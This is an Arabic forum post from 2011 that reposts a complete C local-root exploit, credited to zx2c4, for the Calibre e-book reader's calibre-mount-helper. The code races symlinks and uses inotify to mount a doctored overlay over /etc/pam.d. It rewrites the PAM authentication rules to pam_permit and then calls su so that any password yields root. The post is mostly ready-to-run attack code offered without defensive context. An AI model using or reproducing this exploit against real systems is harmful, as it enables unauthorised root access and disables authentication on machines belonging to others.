الرئيسية  || الأسئلة المتكررة  || المحادثة  || بحث||
  تسجيل الدخول||  التسجيل

قائمة المنتديات » خدمة أصحاب المواقع » أمور منوعة لخدمة اصحاب المواقع

 


إرسال موضوع جديد الرد على الموضوع
الكاتب رسالة
 عنوان المشاركة: ثغرة: [local] - Calibre E-Book Reader Local Root
مشاركةمرسل: 16 نوفمبر 2011 10:22 | مشاركةأظهر مشاركة مفردة 

صورة العضو
مراقب تطويري

اشترك في: 10 مايو 2010 13:51
مشاركات: 550
مكان: الكويت
/*
* ################################################## ######
* # .80 Calibrer Assault Mount #
* # by zx2c4 #
* ################################################## ######
*
* Yesterday's assult mount used inotify to mount into /etc/pam.d. Today we
* expand the attack by adding a race toggler so we can mount from non-block
* devices.
*
* Enjoy.
*
* - zx2c4
* 2011-11-4
*
* greets to djrbliss
*
*/


#include <stdio.h>
#include <sys/inotify.h>
#include <unistd.h>
#include <stdlib.h>
#include <signal.h>

int main(int argc, char **argv)
{
printf("########################################## ##############\n");
printf("# .80 Calibrer Assault Mount #\n");
printf("# by zx2c4 #\n");
printf("########################################## ##############\n\n");


printf("[+] Cleaning up old cruft.\n");
unlink("/dev/shm/overlay");
system("calibre-mount-helper cleanup /dev/ram0 /media/staging/");

printf("[+] Creating overlay container.\n");
system("dd if=/dev/zero of=/dev/shm/overlay count=25600");
system("/usr/sbin/mkfs.ntfs /dev/shm/overlay");

printf("[+] Mounting staging using race condition toggler...\n");
int childpid = fork();
if (childpid) {
int ret;
while ((ret = system("calibre-mount-helper mount /dev/shm/overlay /media/staging/ 2>&1")) == 256 || ret == 8192);
kill(childpid, SIGKILL);
} else {
while (1) {
rename("/dev/shm/overlay", "/dev/shm/overlay-holder");
symlink("/dev/ram0", "/dev/shm/overlay");
unlink("/dev/shm/overlay");
rename("/dev/shm/overlay-holder", "/dev/shm/overlay");
}
return 0;
}

printf("[+] Preparing overlay with /etc/pam.d modification:\n");
system("cp -v /etc/pam.d/* /media/staging/");
system("sed -i \"s/pam_deny.so/pam_permit.so/g\" /media/staging/common-auth");
system("sed -i \"s/pam_cracklib.so.*/pam_permit.so/g\" /media/staging/system-auth");
system("sed -i \"s/pam_unix.so.*/pam_permit.so/g\" /media/staging/system-auth");


printf("[+] Mounting overlay over /etc/pam.d using race condition toggler and inotify...\n");
childpid = fork();
if (childpid) {
int childpid2 = fork();
if (childpid2) {
int ret;
while ((ret = system("calibre-mount-helper mount /dev/shm/overlay /etc/pam.d/ 2>&1")) == 256 || ret == 8192);
kill(childpid, SIGKILL);
kill(childpid2, SIGKILL);
} else {
while (1) {
int fd;
fd = inotify_init();
unlink("/media/staging/fake");
mkdir("/media/staging/fake");
inotify_add_watch(fd, "/media/staging/fake", IN_CREATE);
read(fd, 0, 0);
rename("/media/staging/fake", "/media/staging/tmp");
symlink("/etc/pam.d", "/media/staging/fake");
rmdir("/media/staging/tmp");
close(fd);
}
}
} else {
while (1) {
rename("/dev/shm/overlay", "/dev/shm/overlay-holder");
symlink("/dev/ram0", "/dev/shm/overlay");
unlink("/dev/shm/overlay");
rename("/dev/shm/overlay-holder", "/dev/shm/overlay");
}
return 0;
}

printf("[+] Asking for root. When prompted for a password, type anything and press enter.\n");
system("su");

return 0;
}

_________________
شرح خطوات حجز استضافة اسلامية مجانية لدينا
http://www.1sa1.net/1sa1/1sa1/1sa1/viewtopic.php?f=2&t=2749
اقتراح جعل الروابط الخارجية NOfollow
http://1sa1.net/1sa1/1sa1/1sa1/viewtopic.php?f=32&t=10476
حماية مجلد admincp بكلمة مرور
http://1sa1.net/1sa1/1sa1/1sa1/viewtopic.php?f=5&t=10084
شرح تركيب تول بار أليسكا
http://1sa1.net/1sa1/1sa1/1sa1/viewtopic.php?f=32&t=9356
شرح تنصيب ويندوز فيستا ألتيميت بالصور
http://1sa1.net/1sa1/1sa1/1sa1/viewtopic.php?f=26&t=10171
شرح وتحميل برنامج Doc2pdf
http://1sa1.net/1sa1/1sa1/1sa1/viewtopic.php?f=26&t=10170
ضبط الترميز آلياً في متصفح فاير فوكس
http://1sa1.net/1sa1/1sa1/1sa1/viewtopic.php?f=26&t=10168
وداعا للفورمات
http://1sa1.net/1sa1/1sa1/1sa1/viewtopic.php?f=26&t=10167


          أعلى  
 
 
إرسال موضوع جديد الرد على الموضوع



المتواجدون الآن

المستخدمون المتصفحون لهذا المنتدى: لا يوجد أعضاء مسجلين متصلين و 0 زائر/زوار


عرض مشاركات سابقة منذ:  مرتبة بواسطة  
اذهب إلى:  

لا تستطيع كتابة مواضيع جديدة في هذا المنتدى
لا تستطيع كتابة ردود في هذا المنتدى
لا تستطيع تعديل مشاركاتك في هذا المنتدى
لا تستطيع حذف مشاركاتك في هذا المنتدى
لا تستطيع إرفاق ملف في هذا المنتدى



قد تضع هنا تبرعا لك عبر البي بال

Valid CSS!



Powered by phpBB © 2000, 2002, 2005, 2007 phpBB Group
Translated by phpBBArabia
Powered by phpBB-FOX SEO the premodded version of phpBB